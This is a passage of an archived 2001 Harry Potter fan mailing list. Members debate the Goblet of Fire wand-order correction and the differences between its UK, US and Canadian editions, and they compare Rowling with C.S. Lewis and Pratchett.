position of some of us old-timers. He was giving the context of how we 
all had debated the issue and how we came to find out about the fix and 
what our subsequent thoughts were.  I was merely adding a bit to what 
Steve already said.  We were in no way trying to say that newbies (or 
even older members) couldn't add their own thoughts about whether it was 
or was not handled appropriately.

> I thought the point here was for people to discuss the books and
> canon and to enjoy noodling about these issues.  If people are of the
> view that this one, isolated wand order thing is the end of their
> admiration for JKR, well, OK.

I don't recall anyone saying that exactly.  Saying that one believes 
that the wand order problem could have been corrected more creatively 
does not mean that said person has no admiration for JKR.


> 
> As for the way the error was fixed, I think people are blowing it out
> of proportion.  If Lily is supposed to come out first, then that is
> what should be fixed.  Adopting a bunch of far-fetched theories to
> cover up a simple error seems to make the problem much bigger than it
> really is.  Giving interviews, holding press conferences, issuing
> press releases is over the top, in my opinion.

A press conference & appearances on talk shows (interviews) would 
perhaps be over the top.  A press release, OTOH, would be fairly 
customary, given the publicity that surrounded the discovery of the 
error in the first place.  I was a corporate lawyer for a good number of 
years, and if I'd been corporate counsel to Scholastic, I would have 
advised them to issue a press release for public relations reasons if no 
other.  The wand order was a doozy of an error IMO.  And, it affects 
over 5 million copies of GoF.  What bothers me is that the error was 
spotlighted in a high-profile piece by CNN and followed up by Salon.com 
IIRC, and the publishers just didn't respond at all.  These articles 
specifically said that the fans were all abuzz & speculating about what 
the different order might mean for future plots. So, IMO, it makes sense 
for the publishers to issue some sort of public response.  By staying 
silent, they were essentially saying that speculation should continue. 
So, it seemed rather underhanded & sneaky IMO for them to just suddenly 
start issuing copies with a corrected version of that scene.  AND, at 
least one of our members wrote to Scholastic and received a form letter 
back saying that there were no errors in GoF that were being corrected. 
  Someone else called Scholastic & got the same response.  Even if the 
corporate decision was not to issue a public statement, it doesn't 
follow that you should *lie* to the reading public.  It just wasn't 
handled well at all IMO.


> Fans like this group will find out about the revision (and we did).  The rest of the world
> does not care.

Press releases go out all the time about things I don't care about. It 
just would have been picked up by all the HP groups, ignored by the 
world at large, & everyone would have been happier for knowing that a 
mistake had been made & was being corrected.

Instead, this group found out because one of our members was flipping 
through a later printing of GoF while waiting in line somewhere or 
something & found it.

  
> Re-writing other parts of the book to make the scene work better is overkill.

No need to re-write other parts of the book.  They need only have 
changed more within the scene itself.  Again, this is "just my opinion" 
(like your yahoo ID!).  To have Harry thinking that his mother was the 
woman he'd thought of more than any other that night, while the reader 
has only seen him thinking of his father ... just didn't work too well 
for me.  That's all.

Penny

 




From sgallag4 at hotmail.com  Mon Sep 10 21:39:29 2001
From: sgallag4 at hotmail.com (sgallag4 at hotmail.com)
Date: Mon, 10 Sep 2001 21:39:29 -0000
Subject: British v. American Versions
In-Reply-To: <9nj7r6+tvi5@eGroups.com>
Message-ID: <9njbuh+dnfd@eGroups.com>

No: HPFGUIDX 25891


> 
> In my U.S. version, which had to be printed later, the wand order is 
> corrected.  But in Ch. 1, the text refers to a "murder" that will 
> clear the way to Harry.  I cannot figure out who this could possibly 
> be that they are referring to.  (I could quote the whole text, if 
> anyone needs me to, but I won't so that this message will be shorter).

I had interpretted the murder as one of two things:  either a plan to 
kill Crouch Sr. to get to Crouch Jr. that isn't completed because 
Crouch Sr. is useful while under the Imperius Curse, or a simple 
foreshadowing of Cedric's death.  

--Suz 





From aleksrothis at yahoo.co.uk  Mon Sep 10 21:57:18 2001
From: aleksrothis at yahoo.co.uk (Aleks)
Date: Mon, 10 Sep 2001 21:57:18 -0000
Subject: Werewolves
In-Reply-To: <9niv0k+4jk6@eGroups.com>
Message-ID: <9njcvu+mr8n@eGroups.com>

No: HPFGUIDX 25892

Susan wrote: 

> Finally, do werewolf cubs exist?  Is the condition genetic?  Or is 
> it only passed on by biting etc.??? 

And Steve Vander Ark wrote:
> 
> Another interesting point is that JKR doesn't always go along with 
> the accepted descriptions of magical creatures. The Boggart is an 
> excellent example, since the Boggart of folklore is definitely not 
> the Boggart of PA/GF. So her version of werewolves wouldn't have to 
> follow the "rules" we all accept. Now in the case of cubs, she said 
> herself that when Tom Riddle said that about Hagrid, Riddle was 
> just slandering him. But we might be able to explain the whole 
> "moon comes out, Lupin transforms" problem.


Coming from both of these points, JKR isn't the only author whose 
descriptions of magical creatures doesn't always fit the usual 
stereotype. Terry Pratchett is another well known example, and 
werewolves appear in several of his Discworld novels (notably 'Men At 
Arms' and 'The Fifth Elephant'). According to ~his~ theory of how the 
condition (usually known as lycanthropy) is inherited, werewolf 
progeny can either have human form, wolf form or both, but they are 
still all werewolves. I can't remember now whether or not they could 
turn someone into a werewolf by biting them as those we saw were more 
interested in eating the humans than changing them. Also, 
interestingly enough, as with JKR's Animagi, Pratchett's werewolves 
could change into lupine form any time they wished.

Aleks

********************************************************************
"I meant," said Ipslore bitterly, "what is there in this world that 
truly makes living worth while?" 
Death thought about it "CATS," he said eventually, "CATS ARE NICE." 
--Terry Pratchett, Sourcery 
********************************************************************




From aiz24 at hotmail.com  Mon Sep 10 22:12:06 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Mon, 10 Sep 2001 22:12:06 -0000
Subject: Wand Order Fix
In-Reply-To: <3B9CBB52.5040605@swbell.net>
Message-ID: <9njdrm+2v52@eGroups.com>

No: HPFGUIDX 25893

Penny asked, plaintively:

> But, I think the point is if *we,* with a little thought, could come 
up 
> with several possible explanations for the wand order issue, why 
> couldn't she or her editors have done the same thing?

Because she would have to change a MAJOR plot point:  what happened at 
Godric's Hollow.  All the theories involve someone besides Voldemort 
having been there, Voldemort having duelled someone else at the house, 
someone besides Voldemort having killed James and Lily (a plot twist 
to end all plot twists!), etc.

I agree that they should have said a public "Whoops!  Isn't it great 
that people read HP so closely that they picked up on this?  Sorry 
'bout that" when they made the change, and I will grudgingly allow 
that JKR should probably have rewritten the passage more extensively 
rather than just changing a few words (as you know, I have a complaint 
with the one substantial change she *did* make, the omission of the 
"[s]he wants to see you").

While I agree that James has been growing in importance in the books, 
I disagree with this:

> In short though, Harry was *NOT* thinking about his mother that 
night as far as we know.  He *HAD*, however, been thinking about his 
father."

He *was* thinking of his mother, just a few pages back.  "...Voldemort 
was right -- his mother was not here to die for him this time . . . he 
was quite unprotected . . . "  It is not as vivid as the thoughts of 
his father (and the wish to keep his Patronus with him in the maze, 
which always tugs at my heart), but then, the text doesn't say he was 
thinking of her more than any other person, just any other woman.

Furthermore, as much as I find the slight shift from a focus on Lily 
in 1 & 2 to one on James in 3 & 4 interesting from a 
psychological-development point of view, I think it likely that this 
shift (and this development) will not continue in a simple, linear 
way.  We know from Jo that we're going to learn a lot more about Lily, 
and we have strong hints that there is a connection between her 
magical abilities and Harry's (b/c of their eyes).  Harry is not done 
identifying with his mother; he's barely begun.

Amy Z

------------------------------------------------
  "Cool, sir!" said Dean Thomas in amazement.
  "Thank you, Dean," said Professor Lupin.
                -HP and the Prisoner of Azkaban
------------------------------------------------




From degroote at altavista.com  Mon Sep 10 22:05:36 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 10 Sep 2001 15:05:36 -0700
Subject: [HPforGrownups] Re: Priori Incantantem/Deletrius
Message-ID: <20010910220536.11579.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25894

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From aiz24 at hotmail.com  Mon Sep 10 22:19:06 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Mon, 10 Sep 2001 22:19:06 -0000
Subject: The Case of the Unsummoned Egg - Ron on team
Message-ID: <9nje8q+pt4i@eGroups.com>

No: HPFGUIDX 25895

Gwen wrote:

> b. even if he'd managed to whisper the spell and not be overheard 
(by Filch
> OR Mrs. Norris), the sight of a piece of parchment spontaneously 
blowing up
> from the floor, past a tapestry, and once past the tapestry, out of 
sight
> altogether would have given him away as surely as looking at the map 
itself;
> and 
> c. it's just possible he doesn't have his wand with him. This may 
not be
> true, since we learn in QttA that wizards generally keep their wands 
with
> them at all times, and he might have wanted it to wipe the map just 
in case,
> but really, he didn't expect to need his wand.

I don't think the Map fell past the tapestry.  The Egg did, but the 
Map stopped six steps below Harry, and Filch and the tapestry are 
clearly quite a bit farther down, as is clear when Filch starts 
climbing the stairs.

Harry does have his wand with him; he tries to reach the Map with it 
to erase it (another indication that it is not on the other side of a 
tapestry).  When he can't reach it, the obvious thing to do is to 
Summon it.  But I think there is a very simple explanation:  he is 
rattled (yes, even clear-head-in-a-crisis Harry gets rattled) and the 
spell is quite new to him, not yet second nature like many others.

The more we discuss this, the more I like it that Jo doesn't attempt 
to explain it.  Not every motive needs explaining; we know Harry, we 
know human nature, and we can fill in reasons for ourselves.

I heartily second Gwen's thoughts on accepting JKR's flaws (I too am 
more obsessed with HP than I have ever been with a book, even though 
they are not, IMO, the *best* books I've ever read), and also think 
she has the answer to why Draco stuck with CoMC.

Re: possibility that Ron doesn't play for the G. Quidditch team (or 
even try out) because he can't afford it, Steve wrote:

>So why haven't we heard about it in Ron's case? Think about it. Do 
> you think my kids blather on to anyone who'd listen that they don't 
> have six pairs of the coolest jeans in various shades of blue? No 
> way. They just don't talk about it. They understand and they accept 
> and they just don't talk about it. I'm sure my daughter discusses it 
> with her best friend, of course, and we do hear Ron do that 
> occasionally too, but more often than not, they just don't talk 
about 
> it.

And I bet your daughter might not discuss it even with her best friend 
if that friend had been *given* two top-of-the-line brooms despite 
having enough money to buy at least the first one herself.  (LOON 
acknowledgement:  we don't know for sure that Harry is given the 
Nimbus gratis.  He might've paid for it.  But the point still stands 
that he has all the broomstick money he needs.)

Amy Z
who thinks if people were paid according to the worth of their work, 
Steve would be a millionaire

-------------------------------------------------------
  "Having a good holiday, Dudley?" he said kindly.
  Dudley whimpered.  Harry saw his hands tighten still 
 harder over his massive backside.
                           -HP and the Goblet of Fire
-------------------------------------------------------






From cynthiaanncoe at home.com  Mon Sep 10 22:21:52 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 10 Sep 2001 22:21:52 -0000
Subject: More on Wand Order Mistake
In-Reply-To: <3B9D31E5.4060206@swbell.net>
Message-ID: <9njee0+fv11@eGroups.com>

No: HPFGUIDX 25896

Penny wrote:

> > Re-writing other parts of the book to make the scene work better 
is overkill.
> 
> No need to re-write other parts of the book.  They need only have 
> changed more within the scene itself.  Again, this is "just my 
opinion" 
> (like your yahoo ID!).  To have Harry thinking that his mother was 
the 
> woman he'd thought of more than any other that night, while the 
reader 
> has only seen him thinking of his father ... just didn't work too 
well 
> for me.  That's all.
> 
I went back and looked at the chapter again, and the re-write makes 
sense to me.  Harry was thinking about his mom that night.  Twice, 
Harry's mom comes up.  Voldemort says Harry's mom is not there to die 
for him".  During the duel, Harry thinks again about how his mom 
isn't there to die for him.  So the re-write works in this respect.  
JKR got a little lucky there, IMHO.

Cindy




From usergoogol at yahoo.com  Mon Sep 10 22:28:02 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Mon, 10 Sep 2001 22:28:02 -0000
Subject: A Brief C.R.A.B.ber's Manifesto
In-Reply-To: <9nj86i+ublb@eGroups.com>
Message-ID: <9njepi+oaaj@eGroups.com>

No: HPFGUIDX 25897

Family:

> 1)  Bill:  The cool one
> 2)  Charlie:  The one who is good with animals
> 3)  Percy:  The smart one (or as Gred & Forge would say, The Wet)
> 4)  Gred & Forge:  The funny one(s)
> 5)  Ginny:  The baby (and only girl)
> 

Friends:

> 7) Hermione is a terrific student (and leader in the Prefect/Head Girl olympics) 
> 8) Harry has been brushed by greatness.  

> Ron has to carve out his own, gloriously different, 
> personality from all these?  No wonder when Ron glimpses into the 
> Mirror of Erised the "deepest, most desperate desire of [his] heart" 
> is to be special. (snif!)  What child doesn't want that?
> 
> > I realize I'm sticking my neck out somewhat by declaring Ron so 
> > eminently defensible; 
> 
> 
> Oh, go on!  If that's the case, yours isn't the only head on the 
> block.  Here are my two sickles, plus an extra for a badge.  
> 
> - Denise

As I too am a R/H shipper, and a defender of basically any character who happens to pop up, I'll "join." But first, I'd like to point out that Ron WAS the one who cast the spell which saved Hermione during the "Troll Incident." I think that may be signifigant of something.

~User "More text to follow" Googol~

(Okay, I don't have any wizard money on me right now, how about a buck? (American Dollar) Its approximately equivalent to two Sickles. (Exact conversion: $0.86) So, C.R.A.B!)




From scaryfairymary at hotmail.com  Mon Sep 10 22:37:54 2001
From: scaryfairymary at hotmail.com (scaryfairymary at hotmail.com)
Date: Mon, 10 Sep 2001 22:37:54 -0000
Subject: Remus--I really can't believe I didnt notice!!
Message-ID: <9njfc2+1k2u@eGroups.com>

No: HPFGUIDX 25898

I am just after hitting my head uncontrollably (Dobby style) after 
having finally copped onto something totally obvious!  After I found 
out about Lupin being a werewolf I was kicking myself for not having 
noticed the Lupin/wolf connection, but now I'm after (finally) 
noticing the Remus/wolf connection.  Romulous (cant spell) and Remus, 
the founders of the ancient city of Rome, were orphaned and 
subsequently raised by a mother wolf.  I study history in school and 
really cannot believe this escaped me!! AAHHHH I feel sooo foolish!!
-Mary (still totally shocked and astounded at my blindness, I mean 
Lupin is one of my favourite characters!!! DOH!)




From degroote at altavista.com  Mon Sep 10 22:39:14 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 10 Sep 2001 15:39:14 -0700
Subject: [HPforGrownups] Re: Elective Classes
Message-ID: <20010910223914.18515.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25899

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From pennylin at swbell.net  Mon Sep 10 22:44:18 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Mon, 10 Sep 2001 17:44:18 -0500
Subject: [HPforGrownups] Re: Wand Order Fix
References: <9njdrm+2v52@eGroups.com>
Message-ID: <3B9D4242.7080803@swbell.net>

No: HPFGUIDX 25900

Hi again --

Amy Z wrote:

> Penny asked, plaintively:
> 
>  > But, I think the point is if *we,* with a little thought, could come
> up
>  > with several possible explanations for the wand order issue, why
>  > couldn't she or her editors have done the same thing?
> 
> Because she would have to change a MAJOR plot point:  what happened at
> Godric's Hollow.  All the theories involve someone besides Voldemort
> having been there, Voldemort having duelled someone else at the house,
> someone besides Voldemort having killed James and Lily (a plot twist
> to end all plot twists!), etc.

Nope!  The fix I liked best (and still prefer) is the one put forth by 
Trina.  That is: Harry so desperately wanted to see his father that 
night that he magically caused the images within the wand to reverse 
themselves so that his dad came out first.

 
> While I agree that James has been growing in importance in the books,
> I disagree with this:
> 
>  > In short though, Harry was *NOT* thinking about his mother that
> night as far as we know.  He *HAD*, however, been thinking about his
> father."
> 
> He *was* thinking of his mother, just a few pages back.  "...Voldemort
> was right -- his mother was not here to die for him this time . . . he
> was quite unprotected . . . "  It is not as vivid as the thoughts of
> his father (and the wish to keep his Patronus with him in the maze,
> which always tugs at my heart), but then, the text doesn't say he was
> thinking of her more than any other person, just any other woman.

Okay, she says grudginly, point taken. But, I still maintain that this 
scene could have been rewritten better.  Sounds like we agree on that 
much.  :--)

> 
> Furthermore, as much as I find the slight shift from a focus on Lily
> in 1 & 2 to one on James in 3 & 4 interesting from a
> psychological-development point of view, I think it likely that this
> shift (and this development) will not continue in a simple, linear
> way.  We know from Jo that we're going to learn a lot more about Lily,
> and we have strong hints that there is a connection between her
> magical abilities and Harry's (b/c of their eyes).  Harry is not done
> identifying with his mother; he's barely begun.

Oh, I know he isn't finished identifying with his mother by any means! 
But, I do think that at the time of GoF, he has a stronger bond with his 
father.  His father's best friend & his godfather, Sirius, has taken on 
a parenting-type role for him.  One of his father's other best friends 
was his mentor and favorite professor to date as best we can tell.  He's 
learned alot about his father, and as an adolescent male, I daresay he 
is wanting to model himself more after his father.  He's  mistaken 
himself for his father!  He's told again & again how much he looks like 
his father.  His patronus is his father's animagus form.  There's some 
very very strong connections between father & son by late in GoF.

Yes, he'll learn more about Lily (and I can't wait!).  But, as of the 
time of GoF, the original scene had more of an emotional impact for *me* 
than the way it was re-written.  And, I could explain it away easily 
enough with Trina's theory.  Her theory tied in very nicely with my own 
thoughts about his identification with his dad that night. It would, 
IMHO, have been more poetic if it had been explained in this way (or 
some other creative way designed by JKR that *didn't* involve 
re-arranging a major plot detail ... if Trina can think of a way it can 
be done, I have every confidence JKR could have).  That would have been 
preferable to the "Oops" (especially since correcting the "oops" was 
done rather covertly).

Penny

> 
> Amy Z
> 
> ------------------------------------------------
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>   "Thank you, Dean," said Professor Lupin.
>                 -HP and the Prisoner of Azkaban
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From s_ings at yahoo.com  Mon Sep 10 21:44:00 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Mon, 10 Sep 2001 14:44:00 -0700 (PDT)
Subject: UK, US and Cdn versions (was: [HPforGrownups] British v. American Versions)
In-Reply-To: <9nj7r6+tvi5@eGroups.com>
Message-ID: <20010910214400.94678.qmail@web14605.mail.yahoo.com>

No: HPFGUIDX 25901


--- justanopinion2001 at hotmail.com wrote:
<select bits of post below>

> In my U.K. version, the wand order is wrong.  Also,
> in Ch. 1, when 
> Wormtail and Voldemort are discussing the murder
> before Harry's, they 
> refer to it as a "curse,"  which leads to the
> conclusion that they 
> are speaking of Wormtail's reluctance to subdue the
> real Mad Eye so 
> that Crouch can become Mad Eye.  Or maybe the curse
> to subdue Crouch 
> Sr.
> 
> In my U.S. version, which had to be printed later,
> the wand order is 
> corrected.  But in Ch. 1, the text refers to a
> "murder" that will 
> clear the way to Harry.  I cannot figure out who
> this could possibly 
> be that they are referring to.  (I could quote the
> whole text, if 
> anyone needs me to, but I won't so that this message
> will be shorter).
> 
> So what's going on?  I find it hard to believe that
> the U.S. editors 
> would just randomly change "curse" to "murder"
> without JKR's 
> authority (didn't she say that all changes made for
> the U.S. versions 
> are with her express approval)?  If JKR meant to
> make this change, 
> why? Is there something about the editing of
> subsequent versions of a 
> book that I don't understand?  Can anyone help?
> 
> Laura

I can't answer the question of why the changes, but I
wanted to throw a further tidbit into this one. The
Canadian edition of GoF refers to neither a 'murder'
or a 'curse', but reads 'one more obstacle removed and
our path to Harry Potter is clear.'. That then raises
the question of why there are 3 different versions.

Sheryll, no answers, just more questions

=====
"Do not meddle in the affairs of dragons, for thou art crunchy and taste good with ketchup."

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
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From keegan at mcn.org  Mon Sep 10 23:07:12 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Mon, 10 Sep 2001 16:07:12 -0700
Subject: [HPforGrownups] Re: A Brief C.R.A.B.ber's Manifesto
In-Reply-To: <9nj86i+ublb@eGroups.com>
References: <9ninvu+656f@eGroups.com>
Message-ID: <4.2.0.58.20010910160200.009ef760@mail.mcn.org>

No: HPFGUIDX 25902

At 08:35 PM 9/10/01 +0000, you wrote:
>  I just think he is a kid who is trying desperately
>to muddle through the twin agonies of school and growing up.  And
>he's got his work cut out for him.  Let's take a look at his
>siblings, shall we?
>
>1)  Bill:  The cool one
>2)  Charlie:  The one who is good with animals
>3)  Percy:  The smart one (or as Gred & Forge would say, The Wet)
>4)  Gred & Forge:  The funny one(s)
>5)  Ginny:  The baby (and only girl)

And add to that the both the oldest brothers got a ton of O.W.L.s and one 
was good enough to play for England's Quidditch team and he gets to watch 
FredandGeorge (who you just know are the kind of guys that are good looking 
and extremely charismatic and are jocks to boot) effortlessly get girls for 
the dance.  He gets stuck with all of the hand-me-downs and is in the 
beginnings of adolescence.  Being poor doesn't help much, either.  Brings 
out my maternal feelings and he isn't even a puppy.

Catherine
Albion Works
Furniture, Clothing, and Accesories
For the Medievalist!
www.albionworks.net



From aiz24 at hotmail.com  Mon Sep 10 23:15:59 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Mon, 10 Sep 2001 23:15:59 -0000
Subject: Remus--I really can't believe I didnt notice!!
In-Reply-To: <9njfc2+1k2u@eGroups.com>
Message-ID: <9njhjf+6liu@eGroups.com>

No: HPFGUIDX 25903

--- In HPforGrownups at y..., scaryfairymary at h... wrote:
> I am just after hitting my head uncontrollably (Dobby style) after 
> having finally copped onto something totally obvious!  After I found 
> out about Lupin being a werewolf I was kicking myself for not having 
> noticed the Lupin/wolf connection, but now I'm after (finally) 
> noticing the Remus/wolf connection.  Romulous (cant spell) and 
Remus, 
> the founders of the ancient city of Rome, were orphaned and 
> subsequently raised by a mother wolf.  I study history in school and 
> really cannot believe this escaped me!! AAHHHH I feel sooo foolish!!


You didn't notice for a very simple reason:  we don't learn that Remus 
is his name until we already know he's a werewolf.  The first person 
to call him that is Sirius, in chapter 18, a few pages after 
Hermione's revelation.

So you can put down that toaster now and give your poor head a break!

;-)
Amy Z




From TEAPOT1 at PRODIGY.NET  Mon Sep 10 23:29:51 2001
From: TEAPOT1 at PRODIGY.NET (Diana Wisniewski)
Date: Mon, 10 Sep 2001 19:29:51 -0400
Subject: Interesting story about HP movie
Message-ID: <003901c13a50$7f1100e0$2b851440@oemcomputer>

No: HPFGUIDX 25904

There was a short but interesting story on the movie in one of the e-mail newsletters I receive. Here's the link if you'd like to read it. If there's truth in the media I guess we will be waiting until next summer for our next book. But it is good to know they are already working on the next movie.

http://www.flowgo.com/newsletters/xdrive/ent/story_ent1_91001.html

Diana


[Non-text portions of this message have been removed]




From cynthiaanncoe at home.com  Mon Sep 10 23:29:51 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 10 Sep 2001 23:29:51 -0000
Subject: UK, US and Cdn versions :  GoF
In-Reply-To: <20010910214400.94678.qmail@web14605.mail.yahoo.com>
Message-ID: <9njidf+5vvg@eGroups.com>

No: HPFGUIDX 25905

Sheryll wrote:
> 
> -
> I can't answer the question of why the changes, but I
> wanted to throw a further tidbit into this one. The
> Canadian edition of GoF refers to neither a 'murder'
> or a 'curse', but reads 'one more obstacle removed and
> our path to Harry Potter is clear.'. That then raises
> the question of why there are 3 different versions.
>
> 

I'm curious about this.  Can someone quote the Canadian version, 
because the word "obstacle" wouldn't fit in the American version.  
The American text in my book is:

"My Lord, I must speak!" said Wormtail, panic in his voice now.  "All 
through our journey I have gone over the plan in my head -- My lord, 
Bertha Jorkins's disappearance will not go unnoticed for long, and if 
we proceed, if I murder --"
"If?" whispered the second voice.  "If?  If you follow the plan, 
Wormtail, the Ministry need never know that anyone else has died.  If 
you do it quietly and without fuss; I only wish that I could do it 
myself, but in my present condition . . . Come, Wormtail, one more 
death and our path to Harry Potter is clear.  by that time, my 
faithful servant will have rejoined us -- "  

Then later:

"One more murder ... my faithful servant at Hogwarts ... Harry Potter 
is good as mine, Wormtail."

These changes as Laura describes them are so strange.  It is almost 
like the editors are random Flint generators or something.  I hope 
someone can figure this out.

Cindy




From Aberforths_Goat at Yahoo.com  Mon Sep 10 23:40:14 2001
From: Aberforths_Goat at Yahoo.com (Aberforth's Goat)
Date: Tue, 11 Sep 2001 01:40:14 +0200
Subject: JKR vs C.S. Lewis [Insanely LONG]
References: <006901c139d9$773a9920$5690aecb@price>
Message-ID: <00e301c13a51$f0ad3650$e500a8c0@shasta>

No: HPFGUIDX 25906

Steve muttered,
> But I don't think she's a writer on par with C.S. Lewis or Natalie Babbitt
and that's okay.

Tabouli argued (bracing herself),
> However, I'd also argue that Narnia sits fairly safely in the middle
childhood department,
> with a pretty, desexualized world, minimal character development, simple
dualist moral
> messages a la Christian ideology, and fairly uncomplicated, discrete
borrowings from
> mythology and folklore (Father Christmas, fauns, dryads, etc.).  Indeed, I
read somewhere
> that Tolkien disapproved violently of this last: he thought that a good
writer should create a
> completely unique world and creatures without nabbing things haphazardly
from other
> places! <snip>

Before I say anything, one huge caveat: Narnia is complete, the Potterverse
is only 4/7ths of the way done. The way Jo handles the last three books
could well change not only our judgment of the series as a whole but also
change our interpretation of the first four. So this is all speculation ...

Anyway, I counted six issues in your email: (1) sexuality, (2) character
development, (3) moral/philosophical significance, (4) literary dependence,
(5) cultural relevance, (6) plot. I'd like to venture a few thoughts on
each, plus (7) gender issues and (8) style:

(1) Sexuality. Point taken. Sexual attraction is in the main plot of
Hogwarts, though, whereas the romantic bits in Narnia are tacked onto the
end. (Shasta and Aravis end up falling in love and getting married, but only
in the epilogue. Digory and Polly also grow up and get married, though not
to each other. After the Dawn Treader's voyage is complete, Caspian
reportedly stops by the star's island to sail home with his daughter. Etc.)
Then again, CSL was writing about younger children than Jo. I've never
worked out the Pensieves' ages (one could, based on the Peter's beginning
boarding school in Prince Caspian), but it's my feeling that CSL's
protagonists are below 14 - the age at which hormones take the limelight in
Hogwarts. Still, Jo's books are more interesting from this point of view.

(2) Character development. Here I disagree. True, Jo has spent waaay longer
with her main characters than CSL did - the Narnia tales have four
overlapping but distinct sets of protagonists. But that has to do with their
basic intent: The *Chronicles* of Narnia, chronicle the entire history of a
universe; Jo has devoted about twice as many words (already) to a period of
four years.

If we take these basic differences into account, I think it would be a
stretch to say that Jo has developed her bunch more than Lewis developed
his.

We're currently more than a thousand pages into the series and have yet to
see a character really *change.* In CSL's books moral development and change
is all over the place. Eustace, Edmund, and Susan are all examples of
radical change; but all his books are, among other things, explorations of
growth and character development. Of course, this change and development
takes place within the parameters of an explicitly redemptive world view;
people who don't agree with Lewis' world view may understandably find his
sort of change simplistic and unpleasantly moralistic.

My burning question is what Jo will do with her characters - particularly
the Dursleys, Ron and Draco - over the next three books. Will she let some
them really develop and change or will she just keep them trundling along
the rails she started them on? I'm voting for the former, because I think
Rowling's too great a story teller to stock her world with one dimensional
people.

(3) Moral/Philosophical significance. I wouldn't say Narnia's moral messages
are simplistic. Simple, yes: CSL believed that morality is a simple and
intuitive thing, and that many of our moral conundrums result from ignoring
what we really know. Again, that's CSL's ethical system (and pretty
challenging one, too) - you can take it or leave it. (I do some of both.)
But I don't think you can say that his characters don't struggle with moral
issues, nor that their struggles are portrayed simplistically. In this area,
Jo seems to be less interested in moral analysis (as in, was Harry wrong to
have lied to Dumbledore?) and more interested in telling a good story.

Also: one thing many readers may not notice about Narnia is the originality
and influence of its theological contribution. Lewis was a classical
Christian, but he wasn't just toeing the party line. (In fact, he was
arguably the century's most original conservative theologian - assuming that
isn't an oxymoron). The Narnian tales have certainly had a more significant
effect on the way I understand the world than any single theology book I can
think of. (Of course, people coming from a different background are unlikely
to see this originality and very likely to see the things they dislike about
CSL's worldview.)

I don't see Jo at all in same light - which is natural since she is not a
theologian nor even a philosopher. She's coming at her stories from a
different background and with a different agenda. I think she's more
interested in the people than the issues, which certainly isn't bad. But I
don't think she'll be giving Sartre or Tillich a run for his money.

(4) Literary dependence. I honestly don't get that one. Alan Jacobs says the
same thing in his article, claiming that Rowling is more mythopoeic than
CSL. I'll grant that Jo has a bigger passion for details of her universe
than CSL had for Narnia. That's true.

But I'd say they both give a uniquely creative twist to an extant tradition,
and are both dependent and mythopoeic at the same time. I'd say that CSL's
intertextuality is more conscious than Jo's - but though he dredges up an
unholy brew of dryads, pirates, and Father Christmases, he has the creative
power to makes them part of *his* story, *his* world, *his* language. On the
other hand, I don't see how Jo's world - which is in essence a funhouse
mirror image of our own - is essentially less derivative. It just uses a
different source. I think they're both acts of genius, and they both take my
breath away.

(5) Cultural relevance. I'm not in a position to comment intelligently on
CSL's use of 40s/50s contemporary culture. However, one thing seems
important here: The way Jo constructs the wizarding world in parallel to our
own demands a close observation of contemporary trends. Narnia didn't need
that, since it is derived more from medieval and classical sources. To my
tastes, neither is better; they're just different.

(6) Plot. Jo wins the mysterious twist prize, hands down. Mystery just
wasn't CSL's thing; his hero GK Chesterton and his pal Dorothy Sayers were
both in the whodunit business but CSL never got close. Then again, he wasn't
trying to. But that cloak and dagger-ness gives the Potterverse a verve
Narnia doesn't have. I like it.

However, what CSL's plots do boast is inevitability. The plot of each books
pushes its way through to an exciting conclusion that makes sense. (That's
my intuitive judgment. Then again, I've never seen the Narnia books
subjected to the intensity of the nitpicking we've given GoF!) Anyway, up to
GoF the Potter books had that too - but GoF swerves a bit. It's not quite
clear why Voldy chooses such a weird way to gang up on Harry; there's no
explaining why Crouch Jr. gets himself killed by haranguing Harry - and the
whole polyjuice trick seems just a wee bit contrived. According to my
tastes, Jo looses some plot points on GoF.

(7) Style. Jo's funnier than CSL. In fact, as far as my tastes go, Jo's
funnier than anybody on the planet. I love CSL's style - his nonfiction
prose is amazing - but he just doesn't have Jo's vitality. Then again, CSL's
prose is more balanced and measured. If nothing else, he kept all his books
to the same length. But I'd still take Jo's jokes over CSL's balance,
measure and discipline any day.

(8) Gender. Jo wins. Jo's taken flack for Harry's gender, but Hermione's
still a huge success. As for CSL ... in my opinion, Aravis is the only
Narnia girl worth the paper she's written on. Neither Lucy, Susan, Polly,
nor Jill do it for me. Flat, sweet, conventional, predictable and
occasionally catty (except for Lucy, who's always sappy). Well, I'm tired,
so maybe I'm exaggerating, but I almost think CSL *deserved* to spent most
his life a bachelor for creating those Narnia girls. (Orul in Till We Have
Faces *is* a stunning woman, though not exactly sympathetic.)

Anyway, that's my take. And anyone who has actually read this far is even
crazier than I am!

Baaaaaa!

Aberforth's Goat (a.k.a. Mike Gray)
_______________________

"Of course, I'm not entirely sure he can read, so that may not have been
bravery...."




From foxmoth at qnet.com  Mon Sep 10 23:57:45 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Mon, 10 Sep 2001 23:57:45 -0000
Subject: JKR vs C.S. Lewis [Insanely LONG]
In-Reply-To: <00e301c13a51$f0ad3650$e500a8c0@shasta>
Message-ID: <9njk1p+b0e3@eGroups.com>

No: HPFGUIDX 25907

--- In HPforGrownups at y..., "Aberforth's Goat" <Aberforths_Goat at Y...> 
wrote:

> Then again, CSL was writing about younger children than Jo. I've never
> worked out the Pensieves' ages (one could, based on the Peter's beginning
> boarding school in Prince Caspian), but it's my feeling that CSL's
> protagonists are below 14 - the age at which hormones take the limelight in
> Hogwarts. Still, Jo's books are more interesting from this point of view.
> 
Ahh...those intriguing Pensieve children...D'you suppose Dumbledore 
might've visited Narnia once upon a time and his memories of those 
Pevensey children are now swirling around in the Pensieve?
	Seriously, that was a great post, goat! But you left off Queen 
Jadis, a dem fine woman, IMO. <g>

Pippin
